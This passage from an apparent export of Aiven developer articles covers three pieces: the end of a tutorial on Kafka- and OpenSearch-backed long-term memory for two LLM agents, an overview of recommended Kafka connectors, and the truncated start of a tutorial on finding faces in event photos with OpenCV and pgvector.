null,\n        Buffer.from(message),\n        null,\n        Date.now()\n    );\n    producer.flush();\n}\n```\n\nWith this new function, every time an agent receives a message, it will send it to Apache Kafka. Update the `startToListenToOthers` function to invoke `storeInKafka`:\n\n```js\nstartToListenToOthers() {\n    const subscriber = subscribe(this.agentName);\n    subscriber.on('message', async (channel, message) =\u003e {\n        const parsedMessage = JSON.parse(message);\n\n        this.storeInKafka(this.conversationTopic, message);\n        await delay(1000);\n        await this.replyToMessage(parsedMessage.message, parsedMessage.agent);\n    });\n}\n```\n\nSince agents need to share a common topic for ongoing conversations, it makes sense to pass the topic name when creating agents. Update the `Agent` constructor to include a `conversationTopic`:\n\n```js\nconstructor(agentName, anotherAgent, starts, conversationTopic) {\n    this.conversationTopic = conversationTopic;\n....\n```\n\nTo ensure each conversation has a unique topic, we'll use the timestamp of the conversation's start. This approach guarantees that all independent conversations have distinct topic names. Modify `run.js` to calculate the topic name and provide it to the agents.\n\n```js\nconst kafkaTopic = Date.now().toString();\nconst nick = new Agent('Nick', 'Judy', false, kafkaTopic);\nnick.start();\n\nconst judy = new Agent('Judy', 'Nick', true, kafkaTopic);\njudy.start();\n```\nIn the next step we generate reflections based on the data that is stored in each unique conversation topic.\n\n## Step 4. Generate reflections\n\n![arch_3.png](https://cdn.sanity.io/images/sczeoy4w/production/0e40a3f622b861d6987a4b2212f7dc45ae415765-1836x1358.png)\n\nTo generate conversation summaries (reflections) for each agent we'll do these steps:\n\n1. Create a consumer to read complete data from the latest conversation topic.\n2. Add a new prompt that instructs the model to summarize the conversation from the agent's perspective.\n3. Call the model with the conversation body.\n4. Store the model-generated summary in a different Kafka topic.\n\n\nTo consume all records from a given topic, calculate the latest offset. Create a new file `consumer.js` and add the code to export the `consumeAll` function:\n\n```js\nimport Kafka from 'node-rdkafka';\nimport dotenv from 'dotenv';\ndotenv.config();\n\nexport const consumeAll = async (topic, groupId) =\u003e {\n    return new Promise((resolve, reject) =\u003e {\n        console.log('Initializing Kafka Consumer...');\n        const consumer = new Kafka.KafkaConsumer({\n            'group.id': groupId,\n            'metadata.broker.list': process.env[\"KAFKA_SERVICE_URI\"],\n            'security.protocol': 'ssl',\n            'ssl.key.location': process.env[\"ssl.key.location\"],\n            'ssl.certificate.location': process.env[\"ssl.certificate.location\"],\n            'ssl.ca.location': process.env[\"ssl.ca.location\"],\n            'enable.auto.commit': false\n        }, {\n            'auto.offset.reset': 'earliest'\n        });\n\n        const messages = [];\n        let latestOffset;\n\n        consumer.on('ready', () =\u003e {\n            console.log('Consumer is ready, querying watermark offsets...');\n            consumer.queryWatermarkOffsets(topic, 0, 1000, (err, offsets) =\u003e {\n                if (err) {\n                    console.error('Error querying watermark offsets:', err);\n                    return reject(err);\n                }\n\n                latestOffset = offsets.highOffset;\n                console.log(`Latest offset for topic ${topic} is ${latestOffset}`);\n\n                consumer.subscribe([topic]);\n                console.log(`Subscribed to topic ${topic}, starting consumption...`);\n                consumer.consume();\n            });\n        });\n\n        consumer.on('data', (data) =\u003e {\n            console.log('Received data:', data);\n            const messageOffset = data.offset;\n\n            console.log(`Message offset: ${messageOffset}, Latest offset: ${latestOffset}`);\n                messages.push(data.value.toString());\n                console.log('Message added to the list.', data.value.toString());\n            if (messageOffset === latestOffset - 1) {\n                console.log('Reached the latest offset, disconnecting...');\n                consumer.disconnect();\n            }\n        });\n\n        consumer.on('disconnected', () =\u003e {\n            console.log('Consumer disconnected');\n            resolve(messages);\n        });\n\n        consumer.on('event.error', (err) =\u003e {\n            console.error('Error event:', err);\n            reject(err);\n        });\n\n        consumer.on('event.log', (log) =\u003e {\n            console.log('Log event:', log);\n        });\n\n        consumer.on('connection.failure', (err) =\u003e {\n            console.error('Connection failure:', err);\n        });\n\n        console.log('Connecting to Kafka...');\n        consumer.connect();\n    });\n};\n```\n\nUpdate `prompt.js` with a new prompt for generating a conversation summary:\n\n```js\nexport const getConversationSummaryPrompt = (agentName, content) =\u003e `You're an inhabitant of a planet Hipola, a very small and cosy planet. Your name is ${agentName}. you met another citizen and had this conversation: ${content}. Reflect on this conversation and summarize in one most important thought that is worth remembering about the person you met. Output only the thought. Remember, you're ${agentName}.`;\n```\n\nIn the `Agent` class, add a `reflect` method to read all messages from the conversation topic, request a summary from the model, and store the summary in a new topic. Each agent will have its own topic for reflections:\n\n```js\nasync reflect() {\n    const messages = await consumeAll(this.conversationTopic, `${this.conversationTopic}-${this.agentName}`);\n    const summary = await this.getConversationSummary(messages.join(\"; \"));\n    this.storeInKafka(`${this.agentName}-reflections`, summary);\n}\n\nasync getConversationSummary(content) {\n    const prompt = getConversationSummaryPrompt(this.agentName, content);\n    return await invokeModel(prompt);\n}\n```\n\nFinally, we'll connect everything using an additional Valkey channel that triggers the conversation reflection once a conversation ends:\n\n```js\nasync triggerReflection(recipient) {\n    await sendToChannel(`${recipient}-internalize`, \"Reflect on the conversation\");\n    await sendToChannel(`${this.agentName}-internalize`, \"Reflect on the conversation\");\n}\n\nasync replyToMessage(message, recipient) {\n    //agent indicated that no longer wants to continue conversation\n    if (message \u0026\u0026 message.includes(\"END\")) {\n        return await this.triggerReflection(recipient);\n    }\n    \n    const prompt = await this.getPrompt(message);\n    console.log(`### ${this.agentName.toUpperCase()} PROMPT: ###`)\n    console.log(\"prompt: \" + this.agentName, prompt)\n    const response = await invokeModel(prompt);\n    console.log(`=== ${this.agentName.toUpperCase()} SAYS: ===`)\n    console.log(`${response}`);\n    if (message) {\n        this.shortMemory.push(`${recipient} said: ${message}`)\n    }\n\n    this.shortMemory.push(`You replied: ${response}`);\n    sendToChannel(recipient, JSON.stringify({agent: this.agentName, message: response}));\n}\n\nwaitToConversationEnd() {\n   const subscriber = subscribe( `${this.agentName}-internalize`);\n   subscriber.on('message', async (channel) =\u003e {\n      if (channel !== `${this.agentName}-internalize`) return;\n\n      await this.reflect();\n   });\n}\n\nasync start() {\n   // listen what another agent tells you\n   this.startToListenToOthers();\n   // get ready to process the conversation\n\n   this.waitToConversationEnd();\n\n   if (this.starts) {\n      await this.replyToMessage(null, this.anotherAgent);\n   }\n}\n\n```\n\n## Step 5. Vectorise reflections and store in OpenSearch\n\nNow that reflections are sent to Apache Kafka whenever agents converse, we need to add these reflections as long-term memories for each agent. We'll use the Retrieval Augmented Generation (RAG) pattern and the LangChain framework for this purpose:\n\n- Vectorize long-term memories and store them in OpenSearch.\n- Combine short-term memory with reflections by searching for relevant memories using vector search.\n\n\n\n![arch_4.png](https://cdn.sanity.io/images/sczeoy4w/production/fa3a84669f2e5410ad3656e27d1979ad8e9ceee4-2222x1324.png)\n\nIn order to install LangChain library that can work with OpenSearch and Amazon Bedrock run:\n\n```\nnpm install @langchain/aws @langchain/community @langchain/core langchain\n```\n\nWe also need to install OpenSearch NodeJS client:\n\n```\nnpm install @opensearch-project/opensearch\n```\n\nOnce you have the necessary libraries, create a new file named `vectorize.js`. This file will handle data consumption from the reflection topic and send it to the OpenSearch index:\n\n```js\nimport Kafka from 'node-rdkafka';\nimport { Client } from \"@opensearch-project/opensearch\";\nimport { Document } from \"langchain/document\";\nimport { BedrockEmbeddings } from \"@langchain/aws\";\nimport { OpenSearchVectorStore } from \"@langchain/community/vectorstores/opensearch\";\nimport dotenv from 'dotenv';\n\ndotenv.config();\n\nconst client = new Client({\n    nodes: [process.env.OPENSEARCH_SERVICE_URI],\n});\n\nconst consumeAndIndex = (topicName) =\u003e {\n    // Kafka consumer setup\n    const consumer = new Kafka.KafkaConsumer({\n        'group.id': 'kafka-group',\n        'metadata.broker.list': process.env[\"KAFKA_SERVICE_URI\"],\n        'security.protocol': 'ssl',\n        'ssl.key.location': process.env[\"ssl.key.location\"],\n        'ssl.certificate.location': process.env[\"ssl.certificate.location\"],\n        'ssl.ca.location': process.env[\"ssl.ca.location\"],\n    }, {});\n\n    consumer.connect();\n\n    consumer.on('ready', () =\u003e {\n        console.log('Consumer ready');\n        consumer.subscribe([topicName]);\n        consumer.consume();\n    }).on('data', async (data) =\u003e {\n        const messageValue = data.value.toString();\n\n        // Process the message and create a Document\n        const doc = new Document({\n            metadata: { source: 'kafka' },\n            pageContent: messageValue,\n        });\n\n        // Create embeddings and send to OpenSearch\n        try {\n            const embeddings = new BedrockEmbeddings({\n                region: 'us-east-1',\n                credentials: {\n                    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,\n                    accessKeyId: process.env.AWS_ACCESS_KEY_ID\n                },\n                model: \"amazon.titan-embed-text-v1\",\n            });\n\n            await OpenSearchVectorStore.fromDocuments([doc], embeddings, {\n                client,\n                indexName: topicName.toLowerCase(),\n            });\n\n            console.log('Document indexed successfully:', doc);\n        } catch (error) {\n            console.error('Error indexing document:', error);\n        }\n    });\n\n    consumer.on('event.error', (err) =\u003e {\n        console.error('Error from consumer:', err);\n    });\n};\n\nexport default consumeAndIndex;\n\n```\n\nAlthough the `consumeAndIndex` method could be run as a separate process (since it’s independent of the agent), we'll keep all calls within `run.js` for simplicity:\n\n\n```js\nimport Agent from './src/agent.js';\nimport consumeAndIndex from \"./src/vectorize.js\";\n\nconst kafkaTopic = Date.now().toString();\nconst nick = new Agent('Nick', 'Judy', false, kafkaTopic);\nconsumeAndIndex(\"Nick-reflections\");\nnick.start();\n\nconst judy = new Agent('Judy', 'Nick', true, kafkaTopic);\njudy.start();\nconsumeAndIndex(\"Judy-reflections\");\n```\n\n## Step 6. Integrate short-term and long-term Memory\n\n\nTo enhance the agent's responses, we'll integrate short-term memory with the long-term memories stored in OpenSearch. For this we'll do the following:\n\n1. **Add `LongMemoryService`:** this service will provide a method to retrieve relevant long-term memory based on the current conversation.\n2. **Update Prompts:** modify the prompts used for agent communication to include older memories.\n\n![arch_5.png](https://cdn.sanity.io/images/sczeoy4w/production/421aa54742d288864f9ee7a7a36de4439b803b98-2182x1314.png)\n\nCreate a file called `longTermMemory.js` that utilizes LangChain libraries to interface with both the Claude model from Bedrock and the OpenSearch vector store:\n\n```js\nimport { BedrockChat } from \"@langchain/community/chat_models/bedrock\";\nimport dotenv from 'dotenv';\nimport { Client } from \"@opensearch-project/opensearch\";\nimport { OpenSearchVectorStore } from \"@langchain/community/vectorstores/opensearch\";\nimport { BedrockEmbeddings } from \"@langchain/aws\";\nimport { VectorDBQAChain } from \"langchain/chains\";\n\ndotenv.config();\n\nexport class LongMemoryService {\n    constructor(indexName) {\n        this.indexName = indexName;\n\n        this.model = new BedrockChat({\n            model: \"anthropic.claude-3-haiku-20240307-v1:0\",\n            region: \"us-east-1\",\n            credentials: {\n                secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,\n                accessKeyId: process.env.AWS_ACCESS_KEY_ID\n            },\n        });\n\n        this.client = new Client({\n            nodes: [process.env.OPENSEARCH_SERVICE_URI],\n        });\n\n        this.vectorStore = new OpenSearchVectorStore(new BedrockEmbeddings({\n            region: 'us-east-1',\n            credentials: {\n                secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,\n                accessKeyId: process.env.AWS_ACCESS_KEY_ID\n            },\n            model: \"amazon.titan-embed-text-v1\"\n        }), {\n            client: this.client,\n            indexName: indexName,\n        });\n\n        this.chain = VectorDBQAChain.fromLLM(this.model, this.vectorStore, {\n            k: 1,\n            returnSourceDocuments: true,\n        });\n    }\n\n    async indexExists() {\n        try {\n            const response = await this.client.indices.exists({ index: this.indexName });\n            return response.body;\n        } catch (error) {\n            console.error('Error checking if index exists:', error);\n            return false;\n        }\n    }\n\n    async getLongMemory(query) {\n        const indexExists = await this.indexExists();\n        if (!indexExists) {\n            return '';\n        }\n\n        const response = await this.chain.call({ query });\n        return response.text;\n    }\n}\n\n```\nNext, update the `Agent` class to incorporate the long-memory service and the method to query it:\n\n```js\n    constructor(agentName, anotherAgent, starts,conversationTopic) {\n    console.log({ conversationTopic })\n    this.agentName = agentName;\n    this.anotherAgent = anotherAgent;\n    this.shortMemory = [];\n    this.starts = starts;\n    this.conversationTopic = conversationTopic;\n\n    this.longMemoryService = new LongMemoryService(`${this.agentName.toLowerCase()}-reflections`);\n}\nasync queryLongTermMemory(message) {\n   const longmemory = await this.longMemoryService.getLongMemory(`\\n\\nHuman: ${message} \\n\\nAssistant:`);\n   console.log(\"******* \" + this.agentName.toUpperCase() + \" LONG MEMORY: \" + longmemory);\n   console.log(\"************************************************************************************\");\n   return longmemory;\n}\n```\n\nRevise the prompts in `prompts.js` to factor in long-term memories:\n\n```js\nexport const getPromptStart = (agentName) =\u003e `You're an inhabitant of a planet Hipola, a very small and cosy planet. Your name is ${agentName}.`;\n\nexport const instructions = `Always follow these instructions:\n\n- if it is the first time you meet this inhabitant, introduce yourself and learn their name;\n- if you met this person before or already know something about them - do not introduce yourself, but relate to the previous conversation\n- if it's ongoing conversation, don't introduce yourself, just continue the conversation, reply or ask question, be natural;\n- after a couple of exchanged messages politely say goodbye\n- answer the questions of the other inhabitant;\n- try to finish the topic and when you're done with the conversation for today respond with \"[END]\";\n`;\n\nexport const getMemoryPrompt = (agentName, anotherAgent) =\u003e `The context are memories of ${agentName}. Are there any memories or thoughts about ${anotherAgent}? If yes, respond with \"You remember meeting ${anotherAgent}, what you remember is that .... [continue based on the additional context]\". If there is no info about ${anotherAgent} in the context respond with \"You haven't met ${anotherAgent} before\". Don't provide any other judgement or additional information.`;\n\nexport const getContinuationMemoryPrompt = (agentName, anotherAgent, message) =\u003e `The context are memories of ${agentName}. Are there any memories or thoughts about ${anotherAgent} relevant to the message \"${message}\"? If yes return \"Something that I remember from past conversations with ${anotherAgent} is that .... [continue with a concise list of notes]\". Otherwise, if there is no relevant context return \"nothing relevant that I remember\" and be very very very short and don't provide any other judgement or additional information!`;\n\nexport const getStartConversationPrompt = (agentName, memoriesOfOtherAgent) =\u003e `${getPromptStart(agentName)} ${memoriesOfOtherAgent}.\\n\\n${instructions}`;\n\nexport const getContinueConversationPrompt = (agentName, memoryString, longTermMemory, message) =\u003e `\n${getPromptStart(agentName)}\nYou're meeting another inhabitant. This is the conversation so far:\\n${memoryString}\\n\\n\\n\\n\n\nThis is what you remember about them from previous interactions that is relevant to their phrase:\\n${longTermMemory} Reply to this message from another inhabitant from the planet Hipola: \"${message}\" and ask a relevant question to continue the conversation. If you already had several messages exchanged, politely say goodbye and end conversation. Be concise. Remember, you're ${agentName}.\n\n${instructions}`;\n\n```\nFinally, adjust the `getPrompt` method in the `Agent` class to integrate long-term memories into the prompt:\n```js\n    async getPrompt(message) {\n    // start of the conversation:\n    if (!message) {\n        const memoriesOfOtherAgent = await this.queryLongTermMemory(getMemoryPrompt(this.agentName, this.anotherAgent));\n        return getStartConversationPrompt(this.agentName, memoriesOfOtherAgent);\n    }\n\n    // continuation of the conversation:\n    let memoryString = this.shortMemory.join('\\n');\n    let longTermMemory = await this.queryLongTermMemory(getContinuationMemoryPrompt(this.agentName, this.anotherAgent, message));\n    return getContinueConversationPrompt(this.agentName, memoryString, longTermMemory, message);\n}\n```\n\n## Step 7. Run\nIt's time to run our agents!\n\n```\nnode run\n```\n![animated_flow.gif](https://cdn.sanity.io/images/sczeoy4w/production/ae1bcbfffd44e248968a6a4add514340e7f855cc-720x405.gif)\n\nObserve that, at the end of a conversation, the system will enter reflection mode. You can also monitor the data stored in Apache Kafka topics:\n\n- For ongoing conversations:\n\n![Ongoing Conversations](https://cdn.sanity.io/images/sczeoy4w/production/1ff9520fa5c6de43e3fcd81db5ef09508ab1ff9c-2020x1460.png)\n\n- For conversation summaries of each agent:\n\n![Conversation Summaries](https://cdn.sanity.io/images/sczeoy4w/production/b11c34aabce1d22872e5d97fc56a1fbc58f5e83f-1724x1114.png)\n\nRun multiple conversations to verify that agents are recognizing each other.\n\n## Conclusion and next steps\nIn this tutorial, we’ve built a system that enables agents to retain and learn from interactions through long-term memory.\n\nIf you're curious to learn more things you can do with Aiven and AI look at:\n- [Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI](https://aiven.io/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models)\n- [Applying RAG pattern to navigate your knowledge store](https://aiven.io/developer/rag-bedrock-opensearch)\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-09-02T03:49:28.554Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-08-26T03:25:37.481Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Developing memory-rich AI systems with Valkey, OpenSearch and RAG","asset":{"_ref":"image-8cf89fa3918b5ac029ad191e748366f92ad18de4-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/developing-memory-rich-ai-systems-with-valkey-opensearch-and-rag"},"subtitle":"Adding long term memory to agent communication with OpenSearch®, Amazon Bedrock, RAG and LangChain","tags":[{"_key":"8af037966ef6","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"},{"_key":"62111acc684d","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"a8d5aad961cb","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"f0fec7da7f72","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Developing memory-rich AI systems with Valkey™, OpenSearch® and RAG"}
{"__i18n_lang":"en","_createdAt":"2025-01-08T10:34:39Z","_id":"9326a764-16c4-498f-8b60-ef9e992c1889","_rev":"tW1iVB3M02HkZ9xlNWPeaj","_type":"devArticle","_updatedAt":"2025-01-09T14:01:25Z","body":"The beauty of open source software is the wealth of community-driven frameworks, plugins and additional code available to anyone who chooses to use it. Apache Kafk® a is no exception. Indeed, with Apache Kafka® Connect, the Kafka project standardized its connection framework, making integrating with Kafka more seamless than previously. However, with so many options for connectors, it can be difficult to know which to choose.\n\nWe’ve written this article as an overview of the most useful Kafka connectors for a variety of use cases. These use cases include: \n\n* **Event sourcing:** one of Kafka’s most compelling use cases is event sourcing and event driven applications – using events happening in one system, like a user frontend, to trigger actions in another system, such as a monitoring system. This is particularly useful for application developers, retail, or anyone whose use case involves interacting with an end user and a graphical user interface.\n* **Analytics and metrics:** Another way to utilize the data your applications generate is to send that data to analytics and metrics reporting. More advanced use cases in this vein include fraud reporting and anomaly detection. Kafka can structure data consistently for an unlimited number of consumers, making that data easy to transport, read and act on. Most industries have a need for some kind of analytics or metrics monitoring, but we find that the most pressing use cases are generally high tech companies for whom service reliability is key.\n* **Data streaming:** Kafka can act as a transport layer in near realtime data streaming applications. Most industries don’t need realtime data monitoring, but we find that use cases in the energy sector and financial services sector find the ability to stream in realtime when needed useful. \n\n\nWe selected connectors for this article based on overall utility, ongoing community support/popularity, and readiness for an enterprise production environment. \n\nTo use any of these connectors with your Aiven for Apache Kafka service, spin up an [Aiven for Apache Kafka Connect service](https://aiven.io/docs/products/kafka/kafka-connect/get-started) alongside your Kafka service, and connect the two.\n\nKafka connectors fall into two categories: source and sink. Source connectors are designed to send data to Kafka from specific kinds of systems, and Sink connectors are designed to send data from Kafka to a specific kind of system. \n\n## Aiven’s general purpose Kafka Connectors \n\nAiven maintains Kafka connectors which simplify connecting to Aiven for a number of different data services. These include both sink and source connectors.\n\n* **[Kafka Connect JDBC](https://github.com/Aiven-Open/jdbc-connector-for-apache-kafka/tree/master):** The JDBC Source Connector connects a variety of relational databases to Kafka, including MySQL and PostgreSQL. The Aiven platform supports automatic connections via the console for databases deployed to Aiven, but if you need to connect to another database, this do-it-all connector is the thing to use. Learn how to use it with the [Using Kafka Connect JDBC Source](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-exampletutorial!\n* **[Commons for Kafka Connect](https://github.com/Aiven-Open/cloud-storage-connectors-for-apache-kafka):** The Aiven Commons for Kafka Connect provides connectors to a number of data buckets on popular clouds. This is useful when reading in data subsets for analysis in other systems, or writing analytics data to cold storage. It provides connections to Google Cloud Storage, Amazon S3 Buckets and Azure Blob storage. \n* **[HTTP Sink Connector](https://github.com/Aiven-Open/http-connector-for-apache-kafka):** We like the Aiven HTTP sink connector for sending data over HTTP. Nor every piece of data can go directly into a data store. The HTTP Sink Connector recommended go-to for sending any and all information from Kafka to any other system using HTTP. We recommend learning how to use it even if you’re connecting Kafka to a known quantity like Postgres or MySQL – at some point, we find almost all Kafka implementations connect to something that a preexisting connector doesn’t work for. \n\n\n## Purpose specific connectors\n\nSometimes it's useful to use a connector that targets a specific technology or use case. At Aiven, we see these the most in production: \n\n* **[Debezium](https://github.com/debezium/debezium):** Debezium is our go-to for change data capture implementations using Kafka. Learn more about using Debezium to implement change data capture using [Amazon RDS](https://aiven.io/developer/cdc-amazon-rds-to-apache-kafka-debezium), [Azure SQL](https://aiven.io/developer/change-data-capture-azure-sql-to-apache-kafka), and [Postgres tables with logical decoding](https://aiven.io/developer/cdc-multiple-postgresql-tables-logical-decoding). \n* **[BigQuery](https://github.com/Aiven-Open/bigquery-connector-for-apache-kafka):** For those working with Google Cloud, BigQuery offers a unique way to access your data at scale.\n\n\n## Get more from your Kafka implementation \n\nApache Kafka is a service best paired with other services to build out data pipelines for all sorts of interesting things. The following resources can help you use Kafka to its fullest:\n\n* The [Aiven for Apache Kafka cookbook](https://aiven.io/developer/terraform-cookbook-kafka) offers Terraform implementations of some of the most popular integrations\n* [Tiered storage](https://aiven.io/docs/products/kafka/howto/kafka-tiered-storage-get-started) lets you save data that passes through Kafka externally for later use. [Learn how to use tiered storage with our guide](https://aiven.io/developer/kafka-tiered-storage-terraform)! \n* Use the [Aiven Console](https://console.aiven.io) to one-click integrate with popular services like Datadog and more.","feature":{"_type":"featuredItem","active":false,"endDate":"2025-01-15T10:21:45.761Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2025-01-08T10:15:32.666Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"White text on a blue background reading \"Aiven's favorite Apache Kafka connectors\"","asset":{"_ref":"image-c0f5ad36c42c1d48006f2dcaabe6009baa8fa106-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/aivens-favorite-apache-kafka-connectors"},"subtitle":"Getting started with Aiven for Apache Kafka®? Check out this list of our most used Kafka connectors!","tags":[{"_key":"3f4404853c4b","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"48d289935624","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"},{"_key":"48c9fac1ca09","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"6c287909edb7","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}],"title":"Aiven’s favorite Apache Kafka® connectors"}
{"__i18n_lang":"en","_createdAt":"2023-06-23T12:28:04Z","_id":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_rev":"EXzA9uxcM5girV4aqVvzlc","_type":"devArticle","_updatedAt":"2024-10-29T10:40:00Z","body":"In the era of AI anything is a vector: from huge texts being parsed and categorized by Large Language Models (LLMs) to images being decomposed to find specific objects in them.\n\nWhen asking questions to these models, the answer is defined by proximity: the set of stored vectors is parsed to find out the closest one (or set) in terms of distance, angle or similar metric. \n\nIf the entire vectorised dataset can be hosted in memory, no problem; but what happens when data gets big? This is where solving the problem with tools that are aimed at storing huge datasets can help, even better if they expose the search functionalities in a known language (SQL) and without the need to extract the entire dataset each time. In our case the tool is PostgreSQL® and the vector functionality is provided by the `pgvector` extension, newly released in Aiven for PostgreSQL®.\n\n\u003c!-- \n::banner[]{ctaText=\"Read more\" ctaLink=\"https://aiven.io/workshop/preparing-and-using-data-for-ai-with-langchain-and-opensearch\" title=\"Online workshop: Preparing and Using Data for AI with LangChain and OpenSearch®\" background=\"\" theme=\"light\"}\n--\u003e\n\nWe'll recreate a familiar use-case: you're at an event, and a friend or photograper takes a lot of pictures which are then shared with all the participants. How to identify all the pictures where you are included without having to browse them all? We recently had our yearly face to face meeting at Aiven, called [Crab Week](https://aiven.io/blog/crab-week-2023-wrap-up), so I had the perfect dataset to start playing with vector representation and search.\n\n\n## Vector representation, embeddings and search\n\nInformation can be stored in several ways, just think about the sentence `I Love Parks`: you could represent it in a table with three columns to flag the presence or not of each word (`I`, `LOVE` and `PARKS`) as per image below:\n\n![Table containing three columns named I, LOVE and PARKS with value 1](https://cdn.sanity.io/images/sczeoy4w/production/c2cf1e69d67a16334c466c1b8394a4ad5ae4418f-1782x364.jpg)\n\nThis is a lossless method, no information (apart from the order of words) is lost with this encoding. The drawback though is that the number of columns grows with the number of distinct words within the sentence. For example, if we try to also encode `I Love Croissants` with the same structure we'll end up with four columns `I`, `LOVE`, `PARKS` and `CROISSANTS` as shown below.\n\n![Table containing three columns named LOVE, PARKS, CROISSANTS with value 0 or 1 depending on the presence of the word in the phrase](https://cdn.sanity.io/images/sczeoy4w/production/2fe2cb9a72e8c48cbd14cae58756edc671ccd1ad-2000x445.jpg)\n\n### Embeddings\n\nWhat are embeddings then? As mentioned above, storing the presence of each word in a separate column would create a very wide and unmanageable dataset. Therefore a standard approach is to try to reduce the dimensionality by aggregating or dropping some of the redundant or not very distiguishable information. In our previous example, we could still encode the same information by:\n* dropping the `I` column since it doesn't add any value (it's always `1`)\n* dropping the `CROISSANTS` column since we can still distinguish the two sentences by the presence of the `PARK` word. \n\nIf we visualize the two sentences above in a graph only using the `LOVE` and `PARKS` axis (therefore excluding the `I` and `CROISSANTS`), the result shows that `I Love Parks` is encoded as `(1,1)` since it has present both the `LOVE` and the `PARKS` words. On the other hand `I Love Croissants` is encoded with `(1,0)` since it includes `LOVE` but not `PARKS`.\n\n![Graph showing the phrases Love Parks and Love Croissants being encoded in the axes LOVE and PARKS](https://cdn.sanity.io/images/sczeoy4w/production/300a68c3b8c30739b32990d22855256407339cf9-1586x970.jpg) \n\nIn the graph above, the `distance` represents a calculation of similarity between two vectors: The more two vectors point to the same direction or are close to each other, the more the information they represent should be similar. \n\n### Does this work with pictures?\n\nA similar approach also works for pictures. As beautifully explained by [Mathias Grønne](https://towardsdatascience.com/introduction-to-image-embedding-and-accuracy-53473e8965f) and visualized in the image below (it's Figure 1.1 from the above blog, original book photo photo by [Jess Bailey](https://unsplash.com/photos/gL2jT6xHYOY) on [Unsplash](https://unsplash.com/)), an image is just a series of characters in a matrix, and therefore we could reduce the matrix information and create embeddings on it.\n\n![Image encoding illustrated: a picture of a book, which becomes a pixellated version of the same, and then we zoom in on a few pixels to see their values](https://cdn.sanity.io/images/sczeoy4w/production/127e8170fed0b2c5647c317fc237af4dbda1ad49-1428x316.jpg)\n\n## Setup Face recognition with Python and PostgreSQL `pgvector` \n\nIf you, like me, use IPhotos on Mac, you’ll be familiar with the “People” tab, where you can select one person and find the photos where this person is included.\nI used  the following code to do the same sort of thing with the pictures coming from Crab Week - you’re invited to run it, with adaptations, on top of any folder containing images.\n \n\nSince images are sensitive data, we don't want to rely on any online service or upload them to the internet. The entire pipeline defined below is working 100% locally.\n\nThe data pipeline will involve several steps:\n\n* Download all the pictures in a local folder\n* Retrieve the faces included in any picture\n* Calculate the embeddings from the faces\n* Store the embedidngs in PostgreSQL in a `vector` column from `pgvector`\n* Get a colleague picture from Slack\n* Identify the face in the picture (needed since people can have all types of pictures in Slack)\n* Calculate the embeddings in the Slack picture\n* Use `pgvector` distance function to retrieve the closest faces and therefore photos\n\nThe entire flow is shown in the picture below:\n\n![Entire pipeline for Face recognitions](https://cdn.sanity.io/images/sczeoy4w/production/dd95bbc09a3bdc763ce8fbe2c89474a36cff7459-2000x1132.jpg)\n\n\n### Retrieve the faces from photos\n\nAn ideal dataset to calculate embeddings would contain only pictures of one person at a time, looking straight in the camera with minimal background. As we know, this is not the truth for event pictures, where a multitude of people is commonly grouped together with various backgrounds. Therefore, to create a machine learning algorithm that will be able to find a person included in a picture, we need to isolate the faces of the people within the photos and create the embeddings on the faces rather than over the entire photos.\n\n![Faces being extracted from the picture](https://cdn.sanity.io/images/sczeoy4w/production/8d703a0e89befd3441e71ad4b58260d955700a74-1244x1702.jpg)\n\nTo \"extract\" faces from the pictures we used Python, OpenCV a computer vision tool and a pre-trained Haar Cascade model, the description of the process can be found in [this article](https://www.makeuseof.com/python-detect-faces/). \n\nTo get it working, we just need to install the `opencv-python` package with:\n\n```shell\npip install opencv-python\n```\n\nDownload the `haarcascade_frontalface_default.xml` pre-trained Haar Cascade model from the [OpenCV GitHub repository](https://github.com/opencv/opencv/tree/master/data/haarcascades) and store it locally.\n\nInsert the code below in a python file, replacing the `\u003cINSERT YOUR IMAGE NAME HERE\u003e` with the path to the image you want to identify faces from and `\u003cINSERT YOUR TARGET IMAGE NAME HERE\u003e` to the name of the file where you want to store the face.\n\n```python\n# import the OpenCV library - it's called cv2\nimport cv2\n# load the Haar Cascade algorithm from the XML file into OpenCV\nalg = \"haarcascade_frontalface_default.xml\"\nhaar_cascade = cv2.CascadeClassifier(alg)\n# read the image as grayscale\nfile_name = '\u003cINSERT YOUR IMAGE NAME HERE\u003e'\nimg = cv2.imread(file_name, cv2.IMREAD_GRAYSCALE)\n# find the faces in that image\n# this gives back an array of face locations and sizes\nfaces = haar_cascade.detectMultiScale(\n    gray_img,\n    scaleFactor=1.05,\n    minNeighbors=2,\n    minSize=(100, 100)\n)\n# for each face detected\nfor x, y, w, h in faces:\n    # crop the image to select only the face\n    cropped_image = img[y : y + h, x : x + w]\n    # write the cropped image to a file\n    target_file_name = '\u003cINSERT 